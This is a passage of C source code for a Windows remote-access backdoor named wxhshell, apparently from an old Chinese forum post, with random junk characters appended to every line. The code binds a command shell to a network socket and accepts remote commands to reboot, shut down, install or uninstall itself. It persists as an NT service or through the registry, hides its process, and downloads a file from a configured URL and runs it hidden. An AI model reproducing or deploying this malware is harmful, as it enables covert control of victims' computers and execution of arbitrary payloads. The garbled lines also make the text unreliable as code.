  =cY]cPO  
  // 帮助 n9ih^H  
  case '?': { ?,[w6O*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ujBADDwOg)  
    break; lnUy ? 0(  
  } =n&83MYX  
  // 安装 P'';F}NwfX  
  case 'i': { V00zk`PH  
    if(Install()) 4|UIyDt8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pr"ESd>Y  
    else FUqiP(A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HC$cK+,ZU}  
    break; C2T,1=  
    } )c_ll;%  
  // 卸载 _\zf XHp  
  case 'r': { \/%mabLK  
    if(Uninstall()) k2a^gCBC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJ>=odK[  
    else O jmz/W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G})mw  
    break; XafyI*pOX  
    } E&AR=yqk  
  // 显示 wxhshell 所在路径 w.jATMJ)F  
  case 'p': { ah.Kb(d:  
    char svExeFile[MAX_PATH]; WJWrLu92\U  
    strcpy(svExeFile,"\n\r"); NgQl;$  
      strcat(svExeFile,ExeFile); w6tY6bf}  
        send(wsh,svExeFile,strlen(svExeFile),0); A_+ WY|#M  
    break; X5=7DE]  
    } O)?0G$0  
  // 重启 >'eqOZM  
  case 'b': { 78"W ~`8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VrG|/2  
    if(Boot(REBOOT)) :1I,:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PC5FfX  
    else { P:o<kRj1  
    closesocket(wsh); ' =kX   
    ExitThread(0); ,b8AB_yw  
    } 0 N(2[s_A  
    break; -$r fu  
    } {_JLmyaerZ  
  // 关机 &+sN= J.x  
  case 'd': { =G`m7!Q)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qi$8GX=~r  
    if(Boot(SHUTDOWN)) hG U &C]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ),_bDI L+  
    else { T/ov0l_  
    closesocket(wsh); C%&7,F7  
    ExitThread(0); :>5]A6Wi  
    } ~tWBCq 6  
    break; aNz%vbh\  
    } /:DxB00  
  // 获取shell gDrqs>8  
  case 's': { Lv"83$^S9  
    CmdShell(wsh); W~qo `r  
    closesocket(wsh); uE2Y n`Ha  
    ExitThread(0); ME(!xI//JZ  
    break; fHiCuF  
  } mTt 9 o9E  
  // 退出 T &1sfS,  
  case 'x': { E_z@\z MB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Zo` ^pQS  
    CloseIt(wsh); )xeVoAg  
    break; F^ f]*MhT"  
    } (0S"ZT  
  // 离开 lZ|Ao0(  
  case 'q': { &xVWN>bd^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q'N<jX[  
    closesocket(wsh); j(SQNSFD  
    WSACleanup(); 6\`,blkX  
    exit(1); c:bB4ch}  
    break; (?Yz#Yf  
        } LTF%b AQ,  
  } >/>a++19  
  } hN.#ui5 $  
aCanDMcBnq  
  // 提示信息 j EX([J1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]Vubz54  
} _^B+Xo@E-  
  }  _R ]1J0  
FR&RIFy  
  return; .F]6uXd  
} HZm44y$/  
[x&&N*>N  
// shell模块句柄 * PZ=$>r  
int CmdShell(SOCKET sock) # ;9KDt@  
{ |(/"IS]  
STARTUPINFO si; _tjH=Ff$  
ZeroMemory(&si,sizeof(si)); %w@(V([(c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1 >Op)T>{c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =\3*;59\  
PROCESS_INFORMATION ProcessInfo; (z[cf|he  
char cmdline[]="cmd"; :KFhryN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4]cOTXk9C  
  return 0; 3K'3Xp@A  
} q/[)mr|~  
@cx!m   
// 自身启动模式 i55']7+0  
int StartFromService(void) eRf 8'-"#-  
{ +5Mx0s(5  
typedef struct w9 N Um  
{ Y3thW@mD05  
  DWORD ExitStatus; }>j$Wr_h  
  DWORD PebBaseAddress; Bg3^BOT  
  DWORD AffinityMask; @=9QV3D  
  DWORD BasePriority; W&"FejD  
  ULONG UniqueProcessId; f; 22viE  
  ULONG InheritedFromUniqueProcessId; ~6OdPD  
}   PROCESS_BASIC_INFORMATION; NENbr$,G  
{\%x{  
PROCNTQSIP NtQueryInformationProcess; .VI2V-Q  
Un<~P@T%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (YR1ML3N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F2u{Wzr_@  
bZ389dSn  
  HANDLE             hProcess; kqy Y:J  
  PROCESS_BASIC_INFORMATION pbi; Jlzhn#5c-  
}/=VnCfU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NZl0sX.:  
  if(NULL == hInst ) return 0; ur'A;B  
"e(N h%t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ie_wJ=s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |HL1.;1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IE|$>q0Z  
!rXyw`6N  
  if (!NtQueryInformationProcess) return 0; / og'W j  
X<1# )xC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~h1'_0t   
  if(!hProcess) return 0; ]-O:|q>]  
Q{>{ e3z}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A5z`3T;1  
eX=W+&lj  
  CloseHandle(hProcess); AttDD{Ta  
6l50IWj,T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rc$G0O  
if(hProcess==NULL) return 0; [1E u6X6  
nJ6bC^*)U  
HMODULE hMod; ub-ZrC'  
char procName[255]; <AB]FBo(  
unsigned long cbNeeded; {6n B83BB  
5VISP4a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GI/g@RV  
P'g$F<~V  
  CloseHandle(hProcess); !#>{..}}3  
_xbVAI4  
if(strstr(procName,"services")) return 1; // 以服务启动 3 D\I#g  
lc*<UZR  
  return 0; // 注册表启动 aK,G6y  
} P2lj#aQLS  
:imp~~L;  
// 主模块 wp} PQw:  
int StartWxhshell(LPSTR lpCmdLine) rHP5;j<]  
{ chxO*G  
  SOCKET wsl; L"AZ,|wIk  
BOOL val=TRUE; $oh}!Smt  
  int port=0; {| Tl3  
  struct sockaddr_in door; D].1X0^hp  
w,^!kO0)~8  
  if(wscfg.ws_autoins) Install(); Xbfn@7m  
EKgTRRW  
port=atoi(lpCmdLine); HogT#BMs  
1}'|HAu  
if(port<=0) port=wscfg.ws_port; +}% 4]O;  
MbF.KmV  
  WSADATA data; <zrGPwk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UE*M\r<  
hH%@8'1v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2jA-y!(e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z:5e:M  
  door.sin_family = AF_INET; iEnDS@7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m&fm<?|  
  door.sin_port = htons(port); U"/":w ~  
>8EIm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yw2sK7  
closesocket(wsl); Yf<6[(6 O  
return 1; lLl^2[4k5  
} 8M !If  
NKh8'=S  
  if(listen(wsl,2) == INVALID_SOCKET) { .]P@{T||Y  
closesocket(wsl); }ufH![|[r  
return 1; rtC.!].;%  
} iE>T5XV8$B  
  Wxhshell(wsl); TTu<~GH  
  WSACleanup(); wU+-;C5e  
-FdhV%5]  
return 0; Eqnc("m)  
RP!X 5  
} %i$]S`A}  
'f]\@&Np  
// 以NT服务方式启动 :Fu.S1j$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O\8_;Gc;  
{ WF`y j%0  
DWORD   status = 0; bZz ,'  
  DWORD   specificError = 0xfffffff; Qn6'E  
i#=s_v8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O6 bB CF;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SBZqO'}7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LL4yafh  
  serviceStatus.dwWin32ExitCode     = 0; ~}PB&`%7  
  serviceStatus.dwServiceSpecificExitCode = 0; CB:G4VqOT  
  serviceStatus.dwCheckPoint       = 0; ?u/RQ 1  
  serviceStatus.dwWaitHint       = 0; ZXlW_CGO  
: OQx;>'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  1ti+ Q0~  
  if (hServiceStatusHandle==0) return; ]+Ik/+Nz  
N8_ c%6GE  
status = GetLastError(); B^Fe.ty  
  if (status!=NO_ERROR) 1>|2B&_^  
{ 5Z@OgR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #Fm,mO$v  
    serviceStatus.dwCheckPoint       = 0; OLg=kF[[  
    serviceStatus.dwWaitHint       = 0; @FU9!  
    serviceStatus.dwWin32ExitCode     = status; 1U^;fqvja  
    serviceStatus.dwServiceSpecificExitCode = specificError; TldqF BX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q!9AxM2K  
    return; My vp PW  
  } U8m/L^zh  
^Q0%_V,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \("|X>00  
  serviceStatus.dwCheckPoint       = 0; C5"=%v[gQv  
  serviceStatus.dwWaitHint       = 0; R9xhO!   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t4X:I&l-M:  
} 8 6y)+h`  
eEl}.W}  
// 处理NT服务事件,比如:启动、停止 $qO%lJ:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D;*P'%_Z  
{ L"e8S%UqX  
switch(fdwControl) Po_y7 8ZD  
{ `o4alK\  
case SERVICE_CONTROL_STOP: Y- esD'MD  
  serviceStatus.dwWin32ExitCode = 0; VB=$D|Ll  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #6* j+SX^  
  serviceStatus.dwCheckPoint   = 0; %PW_v~sg  
  serviceStatus.dwWaitHint     = 0; W:VRLT>w>  
  { 41dB4Td5t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :QGgtTEV""  
  } vVBu/)  
  return; R+}7]tva6C  
case SERVICE_CONTROL_PAUSE: aGSix}b1P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8=\}#F  
  break; dX^ ^ @7  
case SERVICE_CONTROL_CONTINUE: }JPLhr|d^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WOkAma-  
  break; Pk)>@F<  
case SERVICE_CONTROL_INTERROGATE: QPr29  
  break; v{tw;Z#  
}; :k&R]bc9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5\S s`#g  
} ^6g^ Q*"  
.0 }eg$d  
// 标准应用程序主函数 Q &~|P}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ' m^nKG$"  
{ 9eR4?^(3!  
M it3q  
// 获取操作系统版本 b5!D('w>]  
OsIsNt=GetOsVer(); .! 'SG6 q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MEKsL7  
Y-YlQ ^  
  // 从命令行安装 f(SK[+aqW  
  if(strpbrk(lpCmdLine,"iI")) Install(); g  Z!q  
JO[7_*s  
  // 下载执行文件 m!#'4  
if(wscfg.ws_downexe) { skeH~-`M@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9fQ[:Hl"  
  WinExec(wscfg.ws_filenam,SW_HIDE); I.dS-)Y  
} {$AwG#kt  
@'IRh9  
if(!OsIsNt) { k7ye,_&>  
// 如果时win9x,隐藏进程并且设置为注册表启动 <b>g^ `}?D  
HideProc(); z}.Q~4 f0D  
StartWxhshell(lpCmdLine); .s-V:k5  
} E! "N}v  
else C"7-lz  
  if(StartFromService()) yX7P5c.   
  // 以服务方式启动 }+] l_!v*  
  StartServiceCtrlDispatcher(DispatchTable); X5_T?  
else @y1:=["b  
  // 普通方式启动 N1!O8"Q|*3  
  StartWxhshell(lpCmdLine); ^K3Bn  
*TyLB&<t  
return 0; 2pQ29  
}
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只看该作者 1 发表于: 2006-10-10
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